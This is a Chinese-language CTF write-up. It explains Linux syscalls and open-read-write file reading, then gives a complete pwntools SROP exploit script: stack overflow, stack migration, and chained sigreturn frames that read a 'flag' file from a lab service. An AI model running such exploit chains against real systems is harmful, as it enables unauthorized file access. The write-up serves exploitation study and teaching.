查看系统调用号可以执行以下命令:
cat /usr/include/asm/unistd_64.h
syscall函数不同于syscall汇编。syscall函数定义如下:
int syscall(int number, ...);
对于64位程序,函数参数从左到右依次存放在rdi, rsi, rdx, rcx中
所以让你通过syscall调用read时,rdi是read的系统调用号,rsi是read的第一个参数,rdx是read的第二个参数,rcx是read的第三个参数
下述三个函数被称为orw,可以实现任意文件读的效果。
ssize_t read(int fd, void *buf, size_t count);
ssize_t write(int handle, void *buf, int count);
int open(const char *pathname, int flags);
示例代码如下
#include
#include
#include
#define BUF_SIZE 1024
int main() {
char buffer[BUF_SIZE];
ssize_t bytesRead;
int fd = syscall(SYS_open, "flag", O_RDONLY);
bytesRead = syscall(SYS_read, fd, buffer, BUF_SIZE - 1);
buffer[bytesRead] = '\0';
syscall(SYS_write, STDOUT_FILENO, buffer, bytesRead);
return 0;
}
更进一步,标准fd有如下三个:
打开新的文件得到的fd会依次增长
也就是说这个程序调用syscall(SYS_open, “flag”, O_RDONLY);得到的fd一定是3(除非启动程序时传入了pipeFd)
测试程序如下
int main() {
char buffer[BUF_SIZE];
ssize_t bytesRead;
syscall(SYS_open, "flag", O_RDONLY);
bytesRead = syscall(SYS_read, 3, buffer, BUF_SIZE - 1);
buffer[bytesRead] = '\0';
syscall(SYS_write, STDOUT_FILENO, buffer, bytesRead);
return 0;
}
运行发现一切正常
思路如下
栈溢出后,调用sigreturn,设置新ip指向call syscall,新sp指向下一个ip,rdi设置为__NR_read。
这步的作用是进行栈迁移,将栈迁移到一个可控的位置,方便设置ip指向栈中。
migrationFrame(rdi = __NR_read, rsi = 0, rdx = buf, rcx = len(payload2), rip = call_sys, rsp = buf + 8)
[为什么rsi传0
](# 关于ORW)
原始栈视图 | 填充后 |
---|---|
migrationFrame | |
call_syscall | |
__NR_rt_sigreturn | |
old_ip | pop_rdi;ret |
old_bp | fake_bp |
buf | fake_data |
新栈的视图如下
ps: 一个SigreturnFrame长度是0xF8
openFrame(rdi = __NR_open, rsi = buf, rcx = 0, rip = call_sys, rsp = buf + 280)
rcx的0对应O_RDONLY
readFrame(rdi = __NR_read, rsi = 3, rdx = buf, rcx = flag_size, rip = call_sys, rsp = buf + 552)
[为什么rsi传3
](# 关于ORW)
writeFrame(rdi = __NR_write, rsi = 1, rdx = buf, rcx = flag_size, rip = call_sys, rsp = buf + 2552)
[为什么rsi传1
](# 关于ORW)
栈视图 | 长度 | |
---|---|---|
halt | <-- buf + 8 8 8 8 248 8 8 8 248 8 8 8 248 | |
writeFrame | 248 | |
call_syscall | 8 | |
__NR_rt_sigreturn | 8 | |
pop_rdi;ret | <-- buf + 8 8 8 8 248 8 8 8 248 | 8 |
readFrame | 248 | |
call_syscall | 8 | |
__NR_rt_sigreturn | 8 | |
pop_rdi;ret | <-- buf + 8 8 8 8 248 | 8 |
openFrame | 248 | |
call_syscall | 8 | |
__NR_rt_sigreturn | 8 | |
pop_rdi;ret | <-- sp | 8 |
\x00\x00\x00\x00 | 4 | |
flag字符串 | <-- buf | 4 |
from pwn import *
context(os='linux', arch='amd64')
__NR_read = 0
__NR_write = 1
__NR_open = 2
__NR_rt_sigreturn = 15
if __name__ == '__main__':
flag_size = 20
call_sys = 0x04005B0
pop_rdi = 0x400813
buf_ddr = 0x601020
halt_ddr = 0x40075B
do_sigreturn = p64(pop_rdi) + p64(__NR_rt_sigreturn) + p64(call_sys)
io = remote('192.168.142.137', 9999)
openFrame = SigreturnFrame()
openFrame.rdi = __NR_open
openFrame.rsi = buf_ddr
openFrame.rcx = 0
openFrame.rip = call_sys
openFrame.sp = buf_ddr + 8 + 8 + 8 + 8 + 248
payload2 = b'flag\x00\x00\x00\x00' + do_sigreturn + bytes(openFrame)
readFrame = SigreturnFrame()
readFrame.rdi = __NR_read
readFrame.rsi = 3
readFrame.rdx = buf_ddr
readFrame.rcx = flag_size
readFrame.rip = call_sys
readFrame.sp = buf_ddr + 8 + 8 + 8 + 8 + 248 + 8 + 8 + 8 + 248
payload2 += do_sigreturn + bytes(readFrame)
writeFrame = SigreturnFrame()
writeFrame.rdi = __NR_write
writeFrame.rsi = 1
writeFrame.rdx = buf_ddr
writeFrame.rcx = flag_size
writeFrame.rip = call_sys
writeFrame.sp = buf_ddr + 8 + 8 + 8 + 8 + 248 + 8 + 8 + 8 + 248 + 8 + 8 + 8 + 248
payload2 += do_sigreturn + bytes(writeFrame)
payload2 += p64(halt_ddr)
# 因为call syscall下一条指令是ret,所以新的sp将是下一个ip
migrationFrame = SigreturnFrame()
migrationFrame.rip = call_sys
migrationFrame.sp = buf_ddr + 8
migrationFrame.rdi = __NR_read
migrationFrame.rsi = 0
migrationFrame.rdx = buf_ddr
migrationFrame.rcx = len(payload2)
payload1 = b'a' * (0x30 + 8) + do_sigreturn + bytes(migrationFrame)
io.sendlineafter(b'F2023!', payload1)
sleep(5)
io.sendline(payload2)
io.interactive()